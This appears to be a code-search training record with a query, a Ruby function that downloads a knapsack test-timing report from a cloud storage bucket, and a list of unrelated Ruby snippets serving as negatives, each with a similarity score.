operations.start_table\n .input_item(POOL)\n .custom_column(heading: \"Oligo Pool name\") { |op| op.input(POOL).item.sample.name }\n .custom_column(heading: \"Oligo Library ID\") { |op| op.input(POOL).item.sample.properties.fetch(\"Oligo Library ID\") }\n .custom_column(heading: \"mean length (nt)\") { |op| op.temporary[:length] }\n .custom_column(heading: \"variants\") { |op| op.temporary[:variants] }\n .custom_column(heading: \"number of sublibraries\") { |op| op.temporary[:sublibs] }\n .custom_column(heading: \"quantity (pmole)\") { |op| {content: op.temporary[:pmole], check: true} }\n .end_table\n warning \"Quantity (pmole) determines the resuspension volume!\"\n }\n \n # resuspend\n show {\n title \"Resuspend Lyopholized #{OLIGO_POOL}s\"\n check \"Spin down all lyopholized oligo pools at #{SPIN[:qty]} #{SPIN[:units]} for #{SPIN_TIME[:qty]} #{SPIN_TIME[:units]}\"\n note \"Add #{WATER[:name]} from a <b>NEW</b> aliquot directly to the lyopholized oligo pool, according to the following:\"\n table operations.start_table\n .input_item(POOL)\n .custom_column(heading: \"Oligo Pool name\") { |op| op.input(POOL).item.sample.name }\n .custom_column(heading: \"Oligo Library ID\") { |op| op.input(POOL).item.sample.properties.fetch(\"Oligo Library ID\") }\n .custom_column(heading: \"#{WATER[:name]} (#{WATER[:units]})\") { |op| \n (op.input(POOL).item.get(:pmole).to_f*op.temporary[:length]*DNA_NG_PER_NT_PER_PICOMOLE/TARGET_CONC_NG_PER_UL).round(2) }\n .output_item(OUT_HIGH) \n .end_table\n check \"Vortex well and spin down\"\n check \"Leave on bench for #{WAIT[:qty]} #{WAIT[:units]}\"\n check \"Vortex well and spin down\"\n check \"Relabel original tubes, without covering any manufacturer information, according to the final column of the table (above).\"\n }\n \n # dilute\n fac=(TARGET_CONC_NG_PER_UL.to_f/LOW_CONC_NG_PER_UL)-1\n lib_volume=(DILUTION_VOL[:qty].to_f/fac).round(2)\n show {\n title \"Dilute Resuspended #{OLIGO_POOL}s\"\n check \"Label #{operations.length} #{TUBE}s: #{operations.map{ |op| op.output(OUT_LOW).item}.to_sentence}\"\n note \"Add #{WATER[:name]} and resuspended library volumes according to the following:\"\n table operations.start_table\n .output_item(OUT_LOW)\n .custom_column(heading: \"#{WATER[:name]} (#{WATER[:units]})\") { |op| {content: DILUTION_VOL[:qty], check: true} }\n .custom_column(heading: \"Resuspended Oligo Pool\") { |op| \"#{op.output(OUT_HIGH).item}\" }\n .custom_column(heading: \"Oligo Pool volume (#{DILUTION_VOL[:units]})\") { |op| {content: lib_volume, check: true} }\n .end_table\n check \"Vortex #{TUBE}s #{operations.map{ |op| op.output(OUT_LOW).item}.to_sentence} and spin down\"\n }\n \n # create sublibraries (DNA Library **Samples**)\n tab=[]\n tab[0]=[\"#{OLIGO_POOL}\",\"#{DNA_LIB}\"]\n ind=1\n operations.each { |op| \n props=op.input(POOL).item.sample.properties\n props.fetch(NAMES).each_with_index { |name, i|\n s=Sample.find_by_name(name) # check if already created\n if(s.nil?) # create if needed\n create_DNA_Library(name, \"created #{Time.zone.now.to_date}\", PROJECT, op.plan.user.id)\n check = Sample.find_by_name(name) # check if valid Sample \n if(check.nil?) # no valid Sample created\n show { note \"Problem creating Sample #{name}, please check!\"} \n else\n tab[ind]=[op.input(POOL).item.sample.name, name]\n ind=ind+1\n end\n else\n show { note \"Sample #{name} already exists, please check!\"} \n end\n }\n }\n if(ind > 1) # have new Samples to display \n show {\n title \"DNA Library Samples Created\"\n note \"The following #{DNA_LIB} Samples were created for the #{OLIGO_POOL}s:\"\n table tab\n note \"Please check that no DNA Library Samples are missing!\"\n }\n end\n \n # delete lyopholized stuff\n operations.each { |op| \n op.input(POOL).item.mark_as_deleted\n }\n \n # store resuspended stuff \n operations.store\n \n return {}\n \n end",
"def getOptions(nbDays, deductibleOption)\n # deductible reduction option\n deductibleReduction = 0;\n if (deductibleOption)\n deductibleReduction = (nbDays * 400); \n end\n \n # aggregation of options\n options = {\"deductible_reduction\" => deductibleReduction}\nend",
"def set_default_attributes\n self.quantity = 1\n\n case self.purchasable.class\n when Package\n self.description = \"Upgrade package to #{self.purchasable.name}\"\n # Hitung kekurangan dari paket sebelumnya\n old_package = self.invoice.contest_upgrade.old_package\n new_package = self.invoice.contest_upgrade.new_package\n price = new_package.calculate_sell_price - old_package.calculate_sell_price\n self.upgrade_price = price\n self.transaction_fee = 300000\n when Feature\n self.description = \"Upgrade feature to #{self.purchasable.name}\"\n if !self.free_upgrade\n self.upgrade_price = self.purchasable.price\n else\n self.upgrade_price = 0\n end\n end\n\n end",
"def get_settled_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '1'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end",
"def get_settled_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '1'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end",
"def setDefault\n self.monthlyCost ||= 0.0 # will set the default value only if it's nil\n self.annualCost ||= 0.0\n end",
"def init()\n\t$numCharges = 0\n\t$numGiftCards = 0\n\t$giftCardAmount = 0\n\t$discountPercentage = 0\n\t$total = 0\n\t$labor = 0\nend",
"def chef_server_report_params\n params.require(:chef_server_report).permit(:business_unit_id, :number_of_nodes, :number_of_users, :number_of_cookbooks)\n end",
"def index\n\t\t@debug_vars = []\n\t if(current_user)\n\t @default_email = current_user.email if(current_user.username)\n\t end \n\t\t@headertext = \"#{params[:suitetype]} Test Suites\"\n\t\t@suites = TestSuites.where('scheduledate < ? OR scheduledate IS NULL', Time.now.to_s)\n\t\t@browsers = Browsertypes.where(:active => \"1\")\n\t @brands = Brands.all()\n\t @testrun = Testrun.new()\n\t \n\t \n\t\t@type = params[:suitetype]\n\t\tfiltering_params(params).each do |key, value|\n\t\t\t@suites = @suites.public_send(key, value) if value.present?\n\t\tend\n\t\t@suites = @suites.paginate(:page => params[:page], :per_page => 15).order('id DESC')\n\t\t\n\t\t@debug_vars.push @default_email\n\t @debug_vars.push @suites\n\t @debug_vars.push @browsers\n\t @debug_vars.push @brands\n\t @debug_vars.push @testrun\n\t @debug_vars.push @type\n\t @debug_vars.push params\n\n\t if(params[:formats] == 'json')\n\n\t end\n\tend",
"def fetch_reports\n # fetch all the reports using this method and then create a Report for each of them\n end",
"def build_default_screen\n current_delivery_number = self.parent.current_delivery_number \n #-------------------------------------------------------------------------------\n # Specifying the contents of the default screen and passing them as settings\n # to the PdtScreenDefinition's gen_screen_xml() method which will then generate\n # screen definition to be displayed in the pdt.\n #-------------------------------------------------------------------------------\n outputs = [\"Delivery : \" + current_delivery_number+ \"(\" + self.parent.required_bins.to_s + \"bin scans required)\",\n \"current bin \" + self.current_bin_id.to_s,\n \"full bins scanned : \" + self.parent.number_of_full_bins_scanned.to_s,\n \"half bins scanned : \" + self.parent.number_of_half_bins_scanned.to_s ,\n \"Scan half bin:\"]\n\n field_configs = Array.new\n field_configs[field_configs.length] = {:type=>\"text_line\",:name=>\"output\",:value=>outputs[0]}\n field_configs[field_configs.length] = {:type=>\"text_line\",:name=>\"output\",:value=>outputs[1]}\n field_configs[field_configs.length] = {:type=>\"text_line\",:name=>\"output\",:value=>outputs[2]}\n field_configs[field_configs.length] = {:type=>\"text_line\",:name=>\"output\",:value=>outputs[3]}\n field_configs[field_configs.length] = {:type=>\"text_line\",:name=>\"output\",:value=>outputs[4]}\n field_configs[field_configs.length] = {:type=>\"text_box\",:name=>\"bin_id\",:is_required=>\"true\",:value=>\"\"}\n\n screen_attributes = {:auto_submit=>\"true\",:content_header_caption=>\"Scan full bin\",:auto_submit_to=>\"Scan_sample_half_bin_submit\"}\n buttons = {\"B3Label\"=>\"Clear\" ,\"B2Label\"=>\"Cancel\",\"B1Submit\"=>\"Scan_sample_half_bin_submit\",\"B1Label\"=>\"Submit\",\"B1Enable\"=>\"false\",\"B2Enable\"=>\"false\",\"B3Enable\"=>\"false\" }\n plugins = nil\n result_screen_def = PdtScreenDefinition.gen_screen_xml(field_configs,buttons,screen_attributes,plugins)\n \n return result_screen_def \n end",
"def report_load_labels\r\n\r\n case @x_type\r\n when :string\r\n return @x_labels = DevFeedback.all(:select => \"DISTINCT(`#{@x_field}`)\").map{|r| r.send(@x_field)}\r\n when :static_list\r\n return @x_labels = DevFeedback.const_get(@x_field.pluralize.upcase)\r\n when :bt_assoc\r\n return @x_labels = DevFeedback.reflect_on_association(@x_field.to_sym).klass.all\r\n end\r\n @x_range = if params[:x_range] # range is given\r\n case @x_type\r\n when :integer\r\n params[:x_range].split('..').map(&:to_i)\r\n when :float, :double\r\n params[:x_range].split('..').map(&:to_f)\r\n when :date, :datetime\r\n rg = params[:x_range].split('..').map(&:to_i)\r\n @x_min = Time.now + rg.first.days\r\n @x_max = Time.now + rg.last.days\r\n rg\r\n end\r\n else\r\n @x_min = DevFeedback.minimum(@x_field)\r\n @x_max = DevFeedback.maximum(@x_field)\r\n case @x_type\r\n when :integer, :float, :double\r\n when :date, :datetime\r\n [((@x_min - Time.now) / 86400).round, ((@x_max - Time.now) / 86400).round]\r\n end\r\n end\r\n if true\r\n case @x_type\r\n when :integer, :float, :double\r\n @x_min, @x_max = @x_range\r\n params[:x_steps] ||= (@x_max.to_f - @x_min.to_f) / 10.0\r\n @x_steps = params[:x_steps].to_f\r\n @x_steps = 0.1 if @x_steps == 0\r\n @x_labels = [@x_min]\r\n while(@x_labels.last <= @x_max) do\r\n @x_labels << @x_labels.last + @x_steps\r\n end\r\n when :date, :datetime\r\n @x_steps = case params[:x_steps]\r\n when \"month\"\r\n 30\r\n when \"week\"\r\n 7\r\n else\r\n if !params[:x_steps] || params[:x_steps].to_i == 0\r\n (@x_range.last - @x_range.first).round / 10.0\r\n else\r\n params[:x_steps].to_i\r\n end\r\n end\r\n @x_steps = 1 if @x_steps == 0\r\n @x_min ||= Time.now + @x_range.first.days\r\n @x_max ||= Time.now + @x_range.last.days\r\n @x_labels = [@x_min]\r\n logger.debug(\"\\t (#{@x_min})..(#{@x_max}) - #{@x_steps} days step\")\r\n 200.times {\r\n break if @x_labels.last > @x_max\r\n @x_labels << @x_labels.last + @x_steps.days\r\n }\r\n end\r\n else # no params[:x_range] => need to guess range\r\n case @x_type\r\n when :integer, :float, :double\r\n @datasets.each_with_index { |h,i|\r\n d = h[:values]\r\n if !@x_min\r\n @x_min = d.min\r\n else\r\n d_min = d.min\r\n @x_min = d_min if d_min < @x_min\r\n end\r\n if !@x_max\r\n @x_max = d.max\r\n else\r\n d_max = d.max\r\n @x_max = d_max if d_max > @x_max\r\n end\r\n }\r\n params[:x_steps] ||= (@x_max.to_f - @x_min.to_f) / 10\r\n @x_steps = params[:x_steps].to_f\r\n @x_steps = 0.1 if @x_steps == 0\r\n end\r\n case @x_type\r\n when :integer, :float, :double\r\n if params[:x_ticks]\r\n end\r\n when :static_list\r\n when :date, :datetime\r\n end\r\n end\r\n end",
"def setup_params(parms, for_download=false)\n report_state_hash = YAML.load(self.view_state)\n\n parms[:parameter_field] = {:excel_only => '0' }\n report_state_hash[:parameter_fields_values].each do |parm_set|\n parms[:parameter_field][parm_set[:field_name]] = parm_set[:field_value]\n parms[:parameter_field][\"#{parm_set[:field_name]}-sign\"] = report_state_hash[:operator_signs][parm_set[:field_value]]\n end\n parms[:parameter_field]['excel_only'] = for_download ? '0' : '1'\n parms['apply_functions_hidden_field'] = report_state_hash[:functions]\n parms['group_by_hidden_field'] = report_state_hash[:search_engine_group_by_columns]\n parms['order_by_hidden_field'] = report_state_hash[:search_engine_order_by_columns]\n end",
"def report\n {\n organization: organization,\n name: repo_name,\n default_branch: default_branch,\n url: repo_url,\n status: status,\n report: all_checks_result\n }\n end",
"def setup(description=\"TBD\")\n TestReport.instance.setDescription(description)\n\n @tStart=Time.now()\n @completed=false\n end",
"def config_params\n return_params = {}\n\n return_params[:limit] = hearings_count_limit if hearings_count_limit.present?\n return_params[:after] = scheduled_after_time if scheduled_after_time.present?\n return_params[:include_eastern] = include_eastern if include_eastern.present?\n return_params\n end",
"def setup\n host = request.env['HTTP_HOST']\n @license = nil\n @min_date = DateTime.now - 7\n @max_date = DateTime.now + 1\n date_series \n @app_name = session[:app_name]\n true \n end",
"def view_rmt_products_sorts_allocation\n list_binfill_sort_stations true\n end",
"def dashboard_listing_set(showings, client)\n dash_set = \n [#Newest Showing\n {title: \"Most Recent Showing\", div_link_id: \"recent\", attr_label: \"Asking Price: \",\n link_name: \"Oldest\", showings: showings.sort_by {|s| s.date}.reverse.take(3), \n attr: \"asking_price_str\", client: nil, hidden: \"\"},\n {title: \"Oldest Showing\", div_link_id: \"recent\", attr_label: \"Asking Price: \",\n link_name: \"Most Recent\", showings: showings.sort_by {|s| s.date}.take(3), \n attr: \"asking_price_str\", client: nil, hidden: \"hide-div\"},\n #Purchase price….most expansive/least\n {title: \"Highest Asking Price\", div_link_id: \"asking\", attr_label: \"Asking Price: \",\n link_name: \"Lowest\", showings: showings.sort_by {|s| s.listing.asking_price}.reverse.take(3), \n attr: \"asking_price_str\", client: nil, hidden: \"\"},\n {title: \"Lowest Asking Price\", div_link_id: \"asking\", attr_label: \"Asking Price: \",\n link_name: \"Highest\", showings: showings.sort_by {|s| s.listing.asking_price}.take(3), \n attr: \"asking_price_str\", client: nil, hidden: \"hide-div\"}]\n \n if showings.select {|s| s.listing.condo_fees > 0 }.size > 0\n #Condo fees….Lowest to highest \n dash_set.concat([{title: \"Highest Condo Fees\", div_link_id: \"condofee\", attr_label: \"Condo Fees: \",\n link_name: \"Lowest\", showings: showings.sort_by {|l| l.listing.condo_fees}.reverse.take(3), \n attr: \"condo_fees_str\", client: nil, hidden: \"hide-div\"},\n {title: \"Lowest Condo Fees\", div_link_id: \"condofee\", attr_label: \"Condo Fees: \",\n link_name: \"Highest\", showings: showings.sort_by {|l| l.listing.condo_fees}.take(3), \n attr: \"condo_fees_str\", client: nil, hidden: \"\"}])\n end\n \n #Cash Flow…..Highest to lowest \n dash_set.concat([{title: \"Highest Cash Flow\", div_link_id: \"cashflow\", attr_label: \"Cash Flow: \",\n link_name: \"Lowest\", showings: showings.sort_by {|l| l.listing.cash_flow(client)}.reverse.take(3), \n attr: \"cash_flow_str\", client: client, hidden: \"\"},\n {title: \"Lowest Cash Flow\", div_link_id: \"cashflow\", attr_label: \"Cash Flow: \",\n link_name: \"Highest\", showings: showings.sort_by {|l| l.listing.cash_flow(client)}.take(3), \n attr: \"cash_flow_str\", client: client, hidden: \"hide-div\"},\n #Total monthly expenses…..lowest to highest\n {title: \"Highest Monthly Expense\", div_link_id: \"monthly\", attr_label: \"Monthly Expense: \",\n link_name: \"Lowest\", showings: showings.sort_by {|l| l.listing.total_monthly_cost(client)}.reverse.take(3), \n attr: \"total_monthly_cost_str\", client: client, hidden: \"hide-div\"},\n {title: \"Lowest Monthly Expense\", div_link_id: \"monthly\", attr_label: \"Monthly Expense: \",\n link_name: \"Highest\", showings: showings.sort_by {|l| l.listing.total_monthly_cost(client)}.take(3), \n attr: \"total_monthly_cost_str\", client: client, hidden: \"\"}])\n \n if showings.select {|s| s.listing.rent_amount > 0 }.size > 0\n #Rent amount estimate…..Highest to lowest\n dash_set.concat([{title: \"Highest Rent Estimate\", div_link_id: \"rent\", attr_label: \"Rent Estimate: \",\n link_name: \"Lowest\", showings: showings.sort_by {|l| l.listing.rent_amount}.reverse.take(3), \n attr: \"rent_amount_str\", client: nil, hidden: \"\"},\n {title: \"Lowest Rent Estimate\", div_link_id: \"rent\", attr_label: \"Rent Estimate: \",\n link_name: \"Highest\", showings: showings.sort_by {|l| l.listing.rent_amount}.take(3), \n attr: \"rent_amount_str\", client: nil, hidden: \"hide-div\"}])\n end\n \n #Year built…….Newest to oldest \n dash_set.concat([{title: \"Newest Build Year\", div_link_id: \"year\", attr_label: \"Build Year: \",\n link_name: \"Oldest\", showings: showings.sort_by {|l| l.listing.year_built || 1900}.reverse.take(3), \n attr: \"year_built_str\", client: nil, hidden: \"\"},\n {title: \"Oldest Build Year\", div_link_id: \"year\", attr_label: \"Build Year: \",\n link_name: \"Newest\", showings: showings.sort_by {|l| l.listing.year_built || 1900}.take(3), \n attr: \"year_built_str\", client: nil, hidden: \"hide-div\"},\n #Property taxes…..lowest to highest\n {title: \"Highest Property Taxes\", div_link_id: \"taxes\", attr_label: \"Property Taxes: \",\n link_name: \"Lowest\", showings: showings.sort_by {|l| l.listing.property_tax}.reverse.take(3), \n attr: \"property_tax_str\", client: nil, hidden: \"hide-div\"},\n {title: \"Lowest Property Taxes\", div_link_id: \"taxes\", attr_label: \"Property Taxes: \",\n link_name: \"Highest\", showings: showings.sort_by {|l| l.listing.property_tax}.take(3), \n attr: \"property_tax_str\", client: nil, hidden: \"\"}])\n \n favourite_showings = showings.select {|s| s.thumbup }\n if favourite_showings.size > 0 \n dash_set.prepend({title: \"Favourite Showings\", div_link_id: \"favourite\", attr_label: \"Asking Price: \",\n link_name: \"\", showings: showings.select {|s| s.thumbup }.sort_by {|s| s.date}.reverse.take(3), \n attr: \"asking_price_str\", client: nil, hidden: \"\"})\n end\n dash_set\n end",
"def import_stock_hourly_display\n #JdeItemAvailability.import_stock_hourly_display\n SalesProductivity.generate_productivity\n end",
"def prepare_data\n\t\t\tsuper\n\t\t\t@data[:tuneable_data] = @tuneable_data\n\t\t\t@data[:@lowest_old] = @lowest_old\n\t\tend",
"def manager_home_setup\n\n @sort_order = {:priority => 'DESC'}\n @sort_order.default = 'ASC'\n flash[:sort_order] = @sort_order\n \n design_reviews = get_active_reviews\n\n # TODO: These sorts are expensive. Make this faster.\n @active_reviews = design_reviews[:active].sort_by { |dr| [dr[:review].age] }.reverse\n @inactive_reviews = design_reviews[:inactive].sort_by { |dr| [dr[:review].priority.value, dr[:review].age] }\n\n @submissions = BoardDesignEntry.submission_count\n session[:return_to] = {:controller => 'tracker', :action => 'index'}\n\n end",
"def knapsack_table(weights, values, capacity)\n\n end",
"def knapsack_table(weights, values, capacity)\n\n end",
"def knapsack_table(weights, values, capacity)\n\n end",
"def knapsack_table(weights, values, capacity)\n\n end",
"def knapsack_table(weights, values, capacity)\n\n end",
"def knapsack_table(weights, values, capacity)\n\n end",
"def knapsack_table(weights, values, capacity)\n\n end",
"def knapsack_table(weights, values, capacity)\n\n end"
] |
[
"0.5656863",
"0.5396806",
"0.53540295",
"0.52948236",
"0.52855825",
"0.5277777",
"0.5212641",
"0.5191116",
"0.51815605",
"0.5153086",
"0.511975",
"0.51102775",
"0.5089693",
"0.5089693",
"0.50691193",
"0.5059716",
"0.50484574",
"0.5037243",
"0.50289696",
"0.50271183",
"0.5006354",
"0.5005972",
"0.50021017",
"0.49973506",
"0.4982353",
"0.49650896",
"0.49628624",
"0.49513042",
"0.49507082",
"0.49455342",
"0.4933464",
"0.49165156",
"0.4895671",
"0.48946667",
"0.4894615",
"0.48943186",
"0.48907843",
"0.48797813",
"0.48723462",
"0.48634037",
"0.48618764",
"0.4859227",
"0.48566148",
"0.4850538",
"0.4838835",
"0.48252907",
"0.48175025",
"0.48145866",
"0.47986388",
"0.47971234",
"0.47922277",
"0.47790226",
"0.4778334",
"0.4773541",
"0.47713542",
"0.4767462",
"0.47646242",
"0.47553274",
"0.47518587",
"0.4750262",
"0.47433123",
"0.47411314",
"0.47389677",
"0.4737964",
"0.47355512",
"0.47325805",
"0.4731713",
"0.47295025",
"0.47284737",
"0.47168964",
"0.47147426",
"0.47133046",
"0.4712108",
"0.47096345",
"0.47096345",
"0.4709296",
"0.47052425",
"0.4702719",
"0.47016147",
"0.4699231",
"0.4698666",
"0.46894503",
"0.46834755",
"0.4680774",
"0.4676088",
"0.46747634",
"0.46735185",
"0.4672829",
"0.4667339",
"0.46618864",
"0.46592084",
"0.465789",
"0.4656717",
"0.4656717",
"0.4656717",
"0.4656717",
"0.4656717",
"0.4656717",
"0.4656717",
"0.4656717"
] |
0.6904296
|
0
|
Download knapsack report from gcs bucket
|
def download_report
logger.debug("Downloading latest knapsack report for '#{report_name}' to '#{report_path}'")
file = client.get_object(BUCKET, report_file)
File.write(report_path, file[:body])
rescue StandardError => e
ENV["KNAPSACK_REPORT_PATH"] = FALLBACK_REPORT
logger.warn("Failed to fetch latest knapsack report: #{e}")
logger.warn("Falling back to '#{FALLBACK_REPORT}'")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def download_benchmark_output\n if !ApplicationController.fire_cloud_client.services_available?('GoogleBuckets')\n head 503 and return\n end\n\n requested_file = ApplicationController.gcs_client.execute_gcloud_method(:get_workspace_file, 0, @user_workspace.namespace,\n @user_workspace.name, params[:filename])\n if requested_file.present?\n @signed_url = ApplicationController.gcs_client.execute_gcloud_method(:generate_signed_url, 0, @user_workspace.namespace,\n @user_workspace.name, params[:filename], expires: 15)\n redirect_to @signed_url\n else\n redirect_to user_workspace_path(project: @user_workspace.namespace, name: @user_workspace.name),\n alert: 'The file you requested was unavailable. Please try again.' and return\n end\n\n end",
"def bucket_stats(url, time)\n\n logger.info \"bucket_stats:start: url = #{url}, time = #{time.to_i}\"\n\n jsonResponse = rest_call(url)\n buckets = JSON.parse(jsonResponse)\n\n buckets.each do |bucket|\n bucket_name = bucket['name'].gsub(/\\./, '-')\n replica_num = bucket['replicaNumber']\n ram_quota = bucket['quota']['ram']\n ram_quota_raw = bucket['quota']['rawRAM']\n quota_percent_used = bucket['basicStats']['quotaPercentUsed']\n ops_per_sec = bucket['basicStats']['opsPerSec']\n disk_fetches = bucket['basicStats']['diskFetches']\n item_count = bucket['basicStats']['itemCount']\n disk_used = bucket['basicStats']['diskUsed']\n data_used = bucket['basicStats']['dataUsed']\n mem_used = bucket['basicStats']['memUsed']\n node_size = bucket['nodes'].length\n\n data_availability_pct = data_availability(node_size, replica_num, @healthy_nodes, @failover_nodes)\n\n write_to_graphite( construct_metric_name(\"#{bucket_name}.replica_num\", CONST_BUCKET_LEVEL), replica_num.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.quota_percent_used\", CONST_BUCKET_LEVEL), quota_percent_used.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.ops\", CONST_BUCKET_LEVEL), ops_per_sec.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.mem_used\", CONST_BUCKET_LEVEL), mem_used.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.item_cnt\", CONST_BUCKET_LEVEL), item_count.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.disk_used\", CONST_BUCKET_LEVEL), disk_used.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.disk_fetches\", CONST_BUCKET_LEVEL), disk_fetches.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.data_used\", CONST_BUCKET_LEVEL), data_used.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.ram_quota\", CONST_BUCKET_LEVEL), ram_quota.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.ram_quota_raw\", CONST_BUCKET_LEVEL), ram_quota_raw.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.data_availability_pct\", CONST_BUCKET_LEVEL), data_availability_pct.to_s, time)\n\n get_cmd_histogram(bucket_name, @hostname , @password, 11210, time)\n\n end\n\n logger.info 'bucket_stats:end: Completed'\n end",
"def download(ci_project_name)\n bucket_items = gcs_storage.list_objects(BUCKET, prefix: ci_project_name).items\n\n files_list = bucket_items&.each_with_object([]) do |obj, arr|\n arr << obj.name\n end\n\n return puts \"\\nNothing to download!\" if files_list.blank?\n\n FileUtils.mkdir_p('tmp/')\n\n files_list.each do |file_name|\n local_path = \"tmp/#{file_name.split('/').last}\"\n Runtime::Logger.info(\"Downloading #{file_name} to #{local_path}\")\n file = gcs_storage.get_object(BUCKET, file_name)\n File.write(local_path, file[:body])\n\n Runtime::Logger.info(\"Deleting #{file_name} from bucket\")\n gcs_storage.delete_object(BUCKET, file_name)\n end\n\n puts \"\\nDone\"\n end",
"def download(url)\n at = DateTime.strptime(url.split('/').last, '%Y%m%d')\n dir = Rails.root.join('lib', 'data', at.strftime('%Y%m%d'))\n\n FileUtils::mkdir_p dir\n\n start = DateTime.now\n total = (PREDICTION_MAX_HOURS/HOUR_RESOLUTION).ceil * PREDICTION_PERIODS.count\n\n # build the queue of datasets to download\n datasets = Queue.new\n number_completed = 0\n\n PREDICTION_PERIODS.each do |period|\n (0..PREDICTION_MAX_HOURS).step(HOUR_RESOLUTION).each do |hour_offset|\n datasets << \"#{url}gfs_4_#{at.strftime('%Y%m%d')}_#{period}_#{hour_offset.to_s.rjust(3, '0')}.grb2\"\n end\n end\n\n # make a pool to download them\n threads = [THREAD_POOL_SIZE, datasets.size].min\n workers = []\n\n threads.times do\n workers << Thread.new do\n begin\n while (file_url = datasets.pop(true)).present?\n download_file file_url, dir\n\n number_completed += 1\n\n if number_completed % (total / 10).to_i == 0\n percentage = (100*number_completed/total.to_f)\n elapsed = (DateTime.now - start).to_f * 1.day\n remaining = elapsed / (percentage / 100) - elapsed\n\n puts \"#{percentage.round(1).to_s.rjust(5)}% complete (#{elapsed.round(2)}s elapsed, #{remaining.round(2)}s remaining)\"\n end\n end\n rescue ThreadError\n end\n end\n end\n\n workers.map(&:join)\n\n # logs!\n elapsed = (DateTime.now - start).to_f * 1.day\n puts \"#{elapsed.round(2)}s to download #{url.split('/').last} (#{total} checked)\".green\n\n GribConvert::convert_folder dir, serial: true\n end",
"def upload_report(glob)\n reports = Pathname.glob(glob).each_with_object(Hash.new { |hsh, key| hsh[key] = [] }) do |report, hash|\n next unless report.extname == \".json\"\n\n hash[report.parent.basename.to_s].push(report)\n end\n return logger.error(\"Glob '#{glob}' did not contain any valid report files!\") if reports.empty?\n\n reports.each do |name, jsons|\n file = \"#{name}.json\"\n\n report = jsons\n .map { |json| JSON.parse(File.read(json)) }\n .reduce({}, :merge)\n .sort_by { |k, v| v } # sort report by execution time\n .to_h\n next logger.warn(\"Knapsack generated empty report for '#{name}', skipping upload!\") if report.empty?\n\n logger.info(\"Uploading latest knapsack report '#{file}'\")\n client.put_object(BUCKET, file, JSON.pretty_generate(report))\n rescue StandardError => e\n logger.error(\"Failed to upload knapsack report for '#{name}'. Error: #{e}\")\n end\n end",
"def downloadBadge(repo, destdir, release=false)\n\n filtered_data = getRanking(repo, release)\n len = filtered_data.length.to_s\n\n filtered_data.each_with_index { |(key, value), index|\n pkg = key\n shield = File.join(destdir, \"#{pkg}.svg\")\n rank = \"#{value} / #{len}\"\n puts pkg\n puts rank\n\n template = File.read(File.join('assets', 'images', 'shields', 'downloads', 'download-template.svg'))\n newbadge = template.gsub(/99999\\/99999/,rank)\n newbadge = newbadge.gsub(/x=\\\"(765)\\\"/, 'x=\"700\"')\n newbadge = newbadge.gsub(/width=\\\"(120)\\\"/, 'width=\"110\"')\n newbadge = newbadge.gsub(/textLength=\\\"(750)\\\"/, '')\n File.open(shield, \"w\") { |file| file.write(newbadge) }\n\n puts \"done\"\n }\n\nend",
"def download\n res = @stash_identifier.last_submitted_resource\n if res&.download_uri\n res = @stash_identifier.last_submitted_resource\n StashEngine::CounterLogger.version_download_hit(request: request, resource: res) if res\n redirect_to res.merritt_producer_download_uri # latest version, friendly download because that's what we do in UI for object\n else\n render text: 'download for this dataset is unavailable', status: 404\n end\n end",
"def download_job(uuid, out_fn, username, password)\n puts \"Downloading data from job #{uuid} to #{out_fn}\"\n fail \"Output file exists!\" if File.exist?(out_fn)\n\n job = get_job(uuid, username, password)\n puts \"Job info:\"\n puts summarise_job(job, 2)\n puts \"\"\n\n # Download stuff.\n puts \"Retrieving index...\"\n index = get_json(job['results']['dataURL'], username, password, '')\n\n num_files = index['urlCount']\n puts \"Retrieving #{num_files} files...\"\n \n i = 0\n File.open(out_fn, 'w') do |out|\n index['urlList'].each do |url|\n i += 1\n print \" #{i} / #{num_files} (#{((i.to_f / num_files.to_f) * 100.0).round(2)}%) \\r\"\n\n begin\n # RAW HTTP get request\n res = Net::HTTP.get(URI(url))\n zlibr = Zlib::GzipReader.new(StringIO.new(res.to_s))\n out.puts zlibr.read\n rescue StandardError => e\n print \"\\n*** ERR on file #{i}, URL: #{url}\\n\"\n end\n \n end # /url iteration\n end # /file handle\n\n print \"Done\\n\"\nend",
"def gs_url\n \"gs://#{self.study.bucket_id}/#{self.bucket_location}\"\n end",
"def gs_url filename\n \"gs://#{storage_bucket_name}/#{filename}\"\nend",
"def set_usage_export_bucket request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n uri, body, query_string_params = transcode_set_usage_export_bucket_request request_pb\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n params: query_string_params,\n options: options\n )\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n result\n end",
